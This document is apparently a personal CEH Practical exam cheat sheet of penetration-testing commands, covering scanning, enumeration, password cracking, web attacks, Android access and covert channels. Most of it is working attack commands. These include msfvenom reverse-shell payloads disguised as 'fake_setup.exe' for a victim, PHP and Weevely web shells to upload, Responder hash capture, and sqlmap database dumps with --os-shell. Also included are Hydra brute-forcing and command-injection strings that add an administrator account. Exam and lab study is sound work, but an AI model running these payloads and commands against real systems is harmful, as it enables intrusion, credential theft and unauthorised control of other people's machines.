Reconnasiance/Footprinting

Recon

-r range , Scan Entire Network for ALive host using ARP

:~$ netdiscover -r 192.168.29.1/24

-f switch do not fragment, -l buffer size

:~$ ping <host-ip> -f -l 1300

tracert for windows cmd

:~$ traceroute <host-ip>

Path Analyzer Pro in traceroute tools, ensure icmp and smart is selected, stop on control is selected
Start Metasploit Console

:~# msfdb init && msfconsole
:~# msfdb status

Nmap Scanning entire Network

# Don’t ping=> -Pn, SYN scan=> -sS, Aggresive Scan=> -A, Normal_XML and Grepable format all at once=> -oA, Verbose=> -vv 

nmap -Pn -sS -A -oA <Filename> 10.10.1.1/24 -vv

Convert Nmap XML file to HTML Report

xsltproc <nmap-output.xml> -o <nmap-output.html>

# Scanning SMB Version for OS Detection using Metaspolit
use scanner/smb/smb_version
show options 
set RHOSTS 10.10.10.8-16 
set THREADS 100 
run
  
#Type hosts again and os_flavor will be visible
  hosts

Scanning Network

Scan Network

Angry IP Scanner of windows to Scan Entire Network
Advanced IP Scanner free network scanner to analyze LAN

ENUMERATION

Enum

Hyena Expand local workstation to view Users, Services, User Rights, Scheduled Jobs
NetBIOS Enumerator Enter IP Range and click scan.
NBT (NetBIOS over TCP/IP), which helps troubleshoot NetBIOS name resolution issues.

nbtstat -A 204.224.150.3

Accessing Shared Files

# List All Shared Resources
net view  <IP>

# Connect to Shared Resource
net use
net use \\10.10.10.1\e ""\user:""
net use \\10.10.10.1\e ""/user:""

SNMP Enumeration

nmap -sU -p 161 10.10.1.2
nmap -sU -p 161 --script=snmp-brute 10.10.1.2

# Expoilt SNMP with Metasploit
msfdb init && msfconsole ↵
use auxilary/scanner/snmp/snmp_login ↵
set RHOSTS 10.10.1.2 ↵
exploit ↵
  
use auxilary/scanner/snmp/snmp_enum ↵
set RHOSTS 10.10.1.2 ↵
exploit ↵

Enum4linux: Enumerating information from Windows and Samba systems

enum4linux -A <Target_IP>

Vulnerability Analysis

Vulerability

Nessus: Assest vulnerability scanner
Nikto: Web Server scanner

nikto -h www.example.com tuning 1

System Hacking

Sys password Hacking

# To Dump Windows SAM file hashes
pwDump7.exe> hashes.txt

pwDump7.exe : To Dump Windows Hashes PwDump7

Ophcrack.exe : To Crack SAM Hashes to obtain clear Password
rcrack_gui.exe : Use Raindow Table to crack hashes

Create A Reverse TCP Connection

# creates reverse TCP from windows  machine, send this file to victim machine via python-Webserver/shared resource
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=<attacker_IP> LPORT=444 -o fake_setup.exe  ↵

msfdb init && msfconsole ↵
use exploit/multi/handler ↵
set LHOST=<attacker-IP>  ↵
set LPORT=444 ↵
  run

Steganography

Stego

Hide/unhide text in WhiteSpaces using snow

SNOW.EXE -C -p 1234 -m "Secret Message"  original.txt ciper.txt
 
# To unhide the hidden text
 
SNOW.EXE -C -p 1234  ciper.txt

OpenStego : Hide any data within a cover file like Images

QuickStego: Hide text in pictures without password

LLMNR/NBT-NS Poisoning

LLMNR/NBT

Responder : rogue authentication server to capture hashes

This can be used to get the already logged-in user's password, who is trying to access a shared resource which is not present Step by Step

# In Parrot/Kali OS, 
responder -I eth0  ↵

# In windows, try to access the shared resource, logs are stored at usr/share/responder/logs/SMB<filename>
# To crack that hash, use JohntheRipper
john SMB<filename>  ↵

Website Hacking/Password Cracking

Website Cracking

SkipFish : Active Recon for Websites

skipfish -o 202 http://192.168.1.202/wordpress

Wordpress Site Login BruteForce Step-By-Step

# Wordpress site only Users Enumeration
wpscan --url http://example.com/ceh --enumerate u 

# Direct crack if we have user/password details

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

# Using Metaspoilt
msfdb init && msfconsole
msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100
msf auxiliary(wordpress_login_enum) > set targeturi /wordpress
msf auxiliary(wordpress_login_enum) > set user_file user.txt
msf auxiliary(wordpress_login_enum) > set pass_file pass.txt
msf auxiliary(wordpress_login_enum) > exploit

File Upload Vulnerability

msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f raw > file.php
  
msfdb init && msfconsole
use multi/handler
set payload php/meterepreter/reverse_tcp
set LHOST=attacker-ip
set LPORT= attcker-port
run

# If incase, metaspolit not working use NetCat and shell code below

Reverse Shell Cheat Sheet : Use the code, change IP & Port and use it with NetCat listener

nc -vnl -p 1234

Weevely : Generate PHP Reverse shell

  
weevely generate password123 /home/error.php

# Upload the above error.php to website and use the below cmd to get reverse shell

weevely http://domain.com/error.php password123

SQL Injection

Login bypass with ' or 1=1 -- N-Stalker : Select OWASP Policy => Scan Website for Vulnerabilites

SQLMAP

#List databases, add cookie values
sqlmap -u "http://domain.com/path.aspx?id=1" --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb; security=low” --dbs 
  OR
sqlmap -u "http://domain.com/path.aspx?id=1" --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb; security=low”   --data="id=1&Submit=Submit" --dbs  


# List Tables, add databse name
sqlmap -u "http://domain.com/path.aspx?id=1" --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb; security=low” -D database_name --tables  
  
# List Columns of that table
sqlmap -u "http://domain.com/path.aspx?id=1" --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb; security=low” -D database_name -T target_Table --columns
  
#Dump all values of the table
sqlmap -u "http://domain.com/path.aspx?id=1" --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb; security=low” -D database_name -T target_Table --dump
  

sqlmap -u "http:domain.com/path.aspx?id=1" --cookie=”PHPSESSID=1tmgthfok042dslt7lr7nbv4cb; security=low” --os-shell

Some links DVWA:Blind SQL with SQLMap, DVWA - High Level with SQLMap

Password Cracking

Hydra : FTP, SSH, Telnet

# SSH
hydra -l username -P passlist.txt 192.168.0.100 ssh
  
 # FTP
hydra -L userlist.txt -P passlist.txt ftp://192.168.0.100
 
# If the service isn't running on the default port, use -s
 hydra -L userlist.txt -P passlist.txt ftp://192.168.0.100 -s 221
  
# TELNET
hydra -l admin -P passlist.txt -o test.txt 192.168.0.7 telnet

# Login form
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"

Cryptography

Cipering / Encrypting/ Hashes

Hash

Find/Decrypt Hash Online with Hashes.com

 # In Kali
 $hash-identifier  
   
 #Decrypt Hashes
 hashcat '5f4dcc3b5aa765d61d8327deb882cf99' /usr/share/wordlists/rockyou.txt

Calculate Hash of text/File by HashCalc in Windows🪟

MD5Calculator in Windows🪟

CryptoForge

Encrypt data with Password and only be decoded with cryptoforge by giving password

BCTextEncoder: Text Encode/Decode

VeraCrypt: Disk Encrypt/Decrypt

Step-By-Step-Tutotrial

CrypTool : Encode/Decode Text (File Extension is .hex)

File → New → Enter Text → Encrypt/Decrypt → Symmetric (Modern) → RC2 → KEY 05 → Encrypt
File → Open → Encrypt/Decrypt → Symmetric (Modern) → RC2 → KEY 05 → Decrypt

Android Hacking

ADB

Live Demo of ADB

apt-get update
sudo apt-get install adb -y
adb devices -l

# Connection Establish Steps
adb connect 192.168.0.4:5555
adb devices -l
adb shell  

# Download a File from Android using ADB tool
adb pull /sdcard/log.txt C:\Users\admin\Desktop\log.txt 
adb pull sdcard/log.txt /home/mmurphy/Desktop

# =================================================================================================== 

# Same thing can be done via PhoneSploit tool 
git clone https://github.com/aerosol-can/PhoneSploit
cd PhoneSploit
pip3 install colorama
OR
python3 -m pip install colorama

python3 phonesploit.py

# Type 3 and Press Enter to Connect a new Phone OR Enter IP of Android Device
# Type 4, to Access Shell on phone

pwd
ls
cd sdcard
ls
cd Download

#Download File using PhoneSploit
9. Pull Folders from Phone to PC

Enter the Full Path of file to Download
sdcard/Download/secret.txt

Covert TCP

Covert

Covert_tcp source code Live Demo Covert TCP Live Demo-Youtube

# Compile the Code  
cc -o covert_tcp covert_tcp.c
  
# Reciever Machine(192.168.29.53)  
sudo ./covert_tcp -dest 192.168.29.53 -source 192.168.29.123 -source_port 9999 -dest_port 8888 -server -file recieve.txt  
 
# Sender Machine(192.168.29.123) 
# Create A Message file that need to be transferred Eg:secret.txt
sudo ./covert_tcp -dest 192.168.29.53 -source 192.168.29.123 -source_port 8888 -dest_port 9999 -file secret.txt

Wireshark Capture Hello This 123 -

Misc

# If Python version returned above is 3.X
# On Windows, try "python -m http.server" or "py -3 -m http.server"
python3 -m http.server
# If Python version returned above is 2.X
python -m SimpleHTTPServer

$python -m SimpleHTTPServer 9000

$python3 -m http.server 9000

nslookup www.domain.com

FTP Server

YOUTUBE

Command Injection ( IP| net user Test_user /Add ) (| net user) (| net localgroup Administrators Test_user /Add)

File Upload Vul:: file.php File.php.jpg Add GIF98 and upload and rename .php.jgp

Chain attack to execute, go in Command SHell and |copy c:\wamp64\www\DVWA\hackable\uploads\filename.php.jpg c:\wamp64\www\DVWA\hackable\uploads\shell.php

Insert Username Password in Website: [blah;insert into login values ('john','pass123'); --]

CEH Practical Questions:

Contact Me📨: sendmehi@outlook.com

gocyiv/CEH-Practical-Notes-2